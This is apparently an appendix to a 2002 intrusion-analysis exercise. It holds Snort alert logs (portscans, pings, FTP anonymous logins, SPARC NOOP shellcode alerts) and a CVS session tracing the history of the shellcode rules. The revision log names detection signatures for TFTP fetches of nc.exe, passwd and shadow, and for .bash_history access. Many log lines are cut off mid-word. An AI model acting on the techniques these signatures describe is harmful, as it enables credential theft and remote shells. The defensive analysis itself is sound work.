ICMP TTL:60 TOS:0x0 ID:63560 IpLen:20 DgmLen:56 DF
Type:3 Code:3 DESTINATION UNREACHABLE: PORT UNREACHABLE
** ORIGINAL DATAGRAM DUMP:
172.16.1.102:33218 -> 207.229.143.1:53
UDP TTL:250 TOS:0x0 ID:52187 IpLen:20 DgmLen:58
Len: 38
** END OF DUMP
```

```
[**] [1:402:4] ICMP Destination Unreachable (Port Unreachable) [**]
[Classification: Misc activity] [Priority: 3]
01/08-07:20:06.527646 207.229.143.1 -> 172.16.1.102
ICMP TTL:60 TOS:0x0 ID:63572 IpLen:20 DgmLen:56 DF
Type:3 Code:3 DESTINATION UNREACHABLE: PORT UNREACHABLE
** ORIGINAL DATAGRAM DUMP:
172.16.1.102:33219 -> 207.229.143.1:53
UDP TTL:250 TOS:0x0 ID:52188 IpLen:20 DgmLen:58
Len: 38
** END OF DUMP
```

```
[**] [100:3:1] spp_portscan: End of portscan from 217.84.21.136: TOTAL time(0s) hosts(9) TC
04/13-15:27:38.520742
```

```
[**] [100:2:1] spp_portscan: portscan status from 208.61.69.153: 9 connections across 9 hos
04/13-15:27:38.522422
```

```
[**] [100:3:1] spp_portscan: End of portscan from 208.61.69.153: TOTAL time(3s) hosts(9) TC
04/13-15:27:38.524783
```

```
[**] [1:645:2] SHELLCODE sparc NOOP [**]
[Classification: Executable code was detected] [Priority: 1]
01/08-07:46:04.378306 208.61.1.160:3592 -> 172.16.1.102:6112
TCP TTL:48 TOS:0x0 ID:41388 IpLen:20 DgmLen:1500 DF
***AP*** Seq: 0xFEE2C115 Ack: 0x5F66192F Win: 0x3EBC TcpLen: 32
TCP Options (3) => NOP NOP TS: 463986683 4158792
[Xref => http://www.whitehats.com/info/IDS353]
```

```
[**] [1:645:2] SHELLCODE sparc NOOP [**]
[Classification: Executable code was detected] [Priority: 1]
01/08-07:46:04.828506 208.61.1.160:3593 -> 172.16.1.102:6112
TCP TTL:48 TOS:0x0 ID:41395 IpLen:20 DgmLen:1500 DF
***AP*** Seq: 0xFE961D1A Ack: 0x5F6FDE45 Win: 0x3EBC TcpLen: 32
```

TCP Options (3) => NOP NOP TS: 463986729 4158838
[Xref => <http://www.whitehats.com/info/IDS353>]

[**] [1:645:2] SHELLCODE sparc NOOP [**]
[Classification: Executable code was detected] [Priority: 1]
01/08-07:46:05.950417 208.61.1.160:3594 -> 172.16.1.102:6112
TCP TTL:48 TOS:0x0 ID:41402 IpLen:20 DgmLen:1500 DF
AP Seq: 0xFF24BFA4 Ack: 0x5F79CFDD Win: 0x3EBC TcpLen: 32
TCP Options (3) => NOP NOP TS: 463986841 4158950
[Xref => <http://www.whitehats.com/info/IDS353>]

[**] [1:645:2] SHELLCODE sparc NOOP [**]
[Classification: Executable code was detected] [Priority: 1]
01/08-07:46:07.042661 208.61.1.160:3595 -> 172.16.1.102:6112
TCP TTL:48 TOS:0x0 ID:41409 IpLen:20 DgmLen:1500 DF
AP Seq: 0xFEE08C48 Ack: 0x5F82F43E Win: 0x3EBC TcpLen: 32
TCP Options (3) => NOP NOP TS: 463986953 4159062
[Xref => <http://www.whitehats.com/info/IDS353>]

[**] [1:384:4] ICMP PING [**]
[Classification: Misc activity] [Priority: 3]
01/08-07:47:05.776513 66.156.236.56 -> 172.16.1.102
ICMP TTL:1 TOS:0x0 ID:9023 IpLen:20 DgmLen:92
Type:8 Code:0 ID:2 Seq:6617 ECHO

[**] [1:384:4] ICMP PING [**]
[Classification: Misc activity] [Priority: 3]
01/08-07:47:08.923928 66.156.236.56 -> 172.16.1.102
ICMP TTL:1 TOS:0x0 ID:9041 IpLen:20 DgmLen:92
Type:8 Code:0 ID:2 Seq:6618 ECHO

[**] [1:384:4] ICMP PING [**]
[Classification: Misc activity] [Priority: 3]
01/08-07:47:11.927940 66.156.236.56 -> 172.16.1.102
ICMP TTL:1 TOS:0x0 ID:9060 IpLen:20 DgmLen:92
Type:8 Code:0 ID:2 Seq:6619 ECHO

[**] [1:384:4] ICMP PING [**]
[Classification: Misc activity] [Priority: 3]
01/08-07:47:14.999790 66.156.236.56 -> 172.16.1.102
ICMP TTL:2 TOS:0x0 ID:9068 IpLen:20 DgmLen:92
Type:8 Code:0 ID:2 Seq:6620 ECHO

[**] [1:408:4] ICMP Echo Reply [**]
[Classification: Misc activity] [Priority: 3]
01/08-07:47:15.003213 172.16.1.102 -> 66.156.236.56
ICMP TTL:254 TOS:0x0 ID:43431 IpLen:20 DgmLen:92 DF
Type:0 Code:0 ID:2 Seq:6620 ECHO REPLY

[**] [1:384:4] ICMP PING [**]
[Classification: Misc activity] [Priority: 3]
01/08-07:47:15.261896 66.156.236.56 -> 172.16.1.102
ICMP TTL:2 TOS:0x0 ID:9070 IpLen:20 DgmLen:92

Type:8 Code:0 ID:2 Seq:6622 ECHO

```
[**] [1:408:4] ICMP Echo Reply [**]  
[Classification: Misc activity] [Priority: 3]  
01/08-07:47:15.263177 172.16.1.102 -> 66.156.236.56  
ICMP TTL:254 TOS:0x0 ID:43433 IpLen:20 DgmLen:92 DF  
Type:0 Code:0 ID:2 Seq:6622 ECHO REPLY
```

```
[**] [100:1:1] spp_portscan: PORTSCAN DETECTED from 211.152.65.34 (THRESHOLD 4 connections  
04/13-15:27:38.814705
```

```
[**] [100:2:1] spp_portscan: portscan status from 211.152.65.34: 9 connections across 9 hos  
04/13-15:27:38.824939
```

```
[**] [100:3:1] spp_portscan: End of portscan from 211.152.65.34: TOTAL time(0s) hosts(9) TC  
04/13-15:27:38.828373
```

```
[**] [100:1:1] spp_portscan: PORTSCAN DETECTED from 195.174.97.101 (THRESHOLD 4 connections  
04/13-15:27:38.835941
```

```
[**] [1:553:2] INFO FTP anonymous login attempt [**]  
[Classification: Misc activity] [Priority: 3]  
01/08-14:29:59.592268 195.174.97.101:1876 -> 172.16.1.102:21  
TCP TTL:106 TOS:0x0 ID:55061 IpLen:20 DgmLen:56 DF  
***AP*** Seq: 0x587C738 Ack: 0xC0F60697 Win: 0xFAC7 TcpLen: 20
```

```
[**] [1:553:2] INFO FTP anonymous login attempt [**]  
[Classification: Misc activity] [Priority: 3]  
01/08-14:29:59.731392 195.174.97.101:1879 -> 172.16.1.105:21  
TCP TTL:107 TOS:0x0 ID:55064 IpLen:20 DgmLen:56 DF  
***AP*** Seq: 0x58A0703 Ack: 0xC0F72861 Win: 0xFAC5 TcpLen: 20
```

```
[**] [1:553:2] INFO FTP anonymous login attempt [**]  
[Classification: Misc activity] [Priority: 3]  
01/08-14:29:59.902842 195.174.97.101:1884 -> 172.16.1.108:21  
TCP TTL:107 TOS:0x0 ID:55075 IpLen:20 DgmLen:56 DF  
***AP*** Seq: 0x58E5EB0 Ack: 0xC0F93A14 Win: 0xFAC7 TcpLen: 20
```

B. CVS Session for Q2

The following is the recorded session of the steps taken to determine when sid-645 was added to shellcode.rules within the snort sources.

```
Script started on Sat Apr 13 15:07:06 2002  
tomago.fastcoder.net (~/tmp/foo/snort/rules)-1 : cvs status shellcode.rules  
=====
```

File: shellcode.rules Status: Up-to-date

Working revision: 1.10

```
Repository revision: 1.10 /cvsroot/snort/snort/rules/shellcode.rules,v
Sticky Tag: (none)
Sticky Date: 2002.01.07.08.00.00
Sticky Options: (none)
```

```
tomago.fastcoder.net(~/tmp/foo/snort/rules)-2 : cvs diff -r 1.5 -r 1.10 shellcode.rules | g
< alert ip $EXTERNAL_NET any -> $HOME_NET any (msg:"SHELLCODE sparc NOOP"; content:"|801c 4
> alert ip $EXTERNAL_NET any -> $HOME_NET any (msg:"SHELLCODE sparc NOOP"; content:"|801c 4
tomago.fastcoder.net(~/tmp/foo/snort/rules)-3 : echo 'The arrows indicate that this was a c
The arrows indicate that this was a change, not an add.
tomago.fastcoder.net(~/tmp/foo/snort/rules)-4 : cvs diff -r 1.1 -r 1.4 shellcode.rules | g
< alert ip $EXTERNAL_NET any -> $HOME_NET any (msg:"SHELLCODE sparc NOOP"; content:"|801c 4
> alert ip $EXTERNAL_NET any -> $HOME_NET any (msg:"SHELLCODE sparc NOOP"; content:"|801c 4
tomago.fastcoder.net(~/tmp/foo/snort/rules)-5 : cvs diff -r 1.1 -r 1.2 shellcode.rules | g
< alert ip $EXTERNAL_NET any -> $HOME_NET any (msg:"SHELLCODE sparc NOOP"; content:"|801c 4
> alert ip $EXTERNAL_NET any -> $HOME_NET any (msg:"SHELLCODE sparc NOOP"; content:"|801c 4
tomago.fastcoder.net(~/tmp/foo/snort/rules)-6 : echo 'It seems that sid-645 has been in the
It seems that sid-645 has been in the file from the start.
tomago.fastcoder.net(~/tmp/foo/snort/rules)-7 : cvs log shellcode.rules
```

RCS file: /cvsroot/snort/snort/rules/shellcode.rules,v

Working file: shellcode.rules

head: 1.12

branch:

locks: strict

access list:

symbolic names:

keyword substitution: kv

total revisions: 12; selected revisions: 12

description:

revision 1.12

date: 2002/03/23 14:40:20; author: cazz; state: Exp; lines: +20 -20

* Added the following signatures:

1428 || EXPERIMENTAL audio galaxy keepalive

1429 || EXPERIMENTAL poll.gotomypc.com access || url,www.gotomypc.com/help2.tmpl

1430 || EXPERIMENTAL TELNET solaris memory mismanagement exploit attempt

1431 || EXPERIMENTAL BAD TRAFFIC syn to multicast address

1432 || INFO GNUTella GET

1433 || WEB-MISC .history access

1434 || WEB-MISC .bash_history access

1435 || DNS named authors attempt || arachnids,480

1436 || MULTIMEDIA Quicktime User Agent access

1437 || MULTIMEDIA Windows Media audio download

1438 || MULTIMEDIA Windows Media Video download

1439 || MULTIMEDIA Shoutcast playlist redirection

1440 || MULTIMEDIA Icecast playlist redirection

1441 || TFTP GET nc.exe

1442 || TFTP GET shadow

1443 || TFTP GET passwd

1444 || TFTP Get

1445 || FTP file_id.diz access

1446 || SMTP vrfy root

```
* Massive flow updates. I hope nobody is using these signatures with 1.8.*
-----
revision 1.11
date: 2002/03/02 05:19:23; author: cazz; state: Exp; lines: +3 -1
* moved a bunch of experimental rules to their final resting place
* regenerated sid-msg.map
-----
revision 1.10
date: 2001/12/28 21:59:34; author: cazz; state: Exp; lines: +2 -2
test, then commit. test, then commit. test, then commit. test, then commit.
test, then commit. test, then commit. test, then commit. test, then commit.
-----
revision 1.9
date: 2001/12/28 21:45:08; author: cazz; state: Exp; lines: +2 -1
* added inc ebx shellcode sig. (used by first public XP upnp exploit)
-----
revision 1.8
date: 2001/10/29 01:52:54; author: roesch; state: Exp; lines: +2 -1
* Added copyright notices so that the Intrusion.com people might take our intellectual
  property a bit more seriously
-----
revision 1.7
date: 2001/10/24 19:05:06; author: cazz; state: Exp; lines: +17 -17
* added our first patch of porn signatures
* added suspicious-login classification
* updated classifications on a crapload of rules
* make barnyard defaults in the config file actually be what we say is the default
-----
revision 1.6
date: 2001/09/25 04:07:41; author: cazz; state: Exp; lines: +14 -10
* Added descriptions to many of the .rules files. (More to come soon)
* cleaned up a few any any rules
* cleaned up the name of a few rules
* Created attack-responces.rules (for generic responces of known attacks)
* Created bad-traffic.rules (for signatures that shouldn't happen on a
  'good' network)
* normalized a few msgs.
* changed order telnet.rules to speed up the exploit signatures
* added sml3com access signature (need to write an overflow attempt sig,
  but don't have a 3com router to test it. any takers?)
-----
revision 1.5
date: 2001/08/19 20:55:08; author: cazz; state: Exp; lines: +7 -7
if shellcode rules are off by default, they should be turned on when you
turn them on.
-----
revision 1.4
date: 2001/06/28 16:43:26; author: roesch; state: Exp; lines: +7 -7
* when you mod rules, you must update the revision numbers...
-----
revision 1.3
date: 2001/06/28 14:49:40; author: roesch; state: Exp; lines: +16 -13
```

- * added argument parser to stream4 and stream4_reassemble, stream4 is highly tweakable now
- * Fixed logging from stream4
- * Added alerting from stream4 for hostile activity
- * fixed spp_bo -nobrute switch not working
- * deactivated shellcode.rules in snort.conf, it's a major performance hit
- * added generator and alert codes for stream4 to generators.h
- * beat the hell out of Snort with ISIC to check stability

revision 1.2

date: 2001/06/11 15:29:30; author: cazz; state: Exp; lines: +17 -18

* added support for SID and REV.

* added sid-msg.map (maps SID to MSG)

SID is a unique ID for each rule. REV is the rule revision.

revision 1.1

date: 2001/04/17 04:06:47; author: cazz; state: Exp;

Oops, forgot to add this one during my latest rules update

=====
tomago.fastcoder.net(~/tmp/foo/snort/rules)-8 : ^D

Script done on Sat Apr 13 15:12:51 2002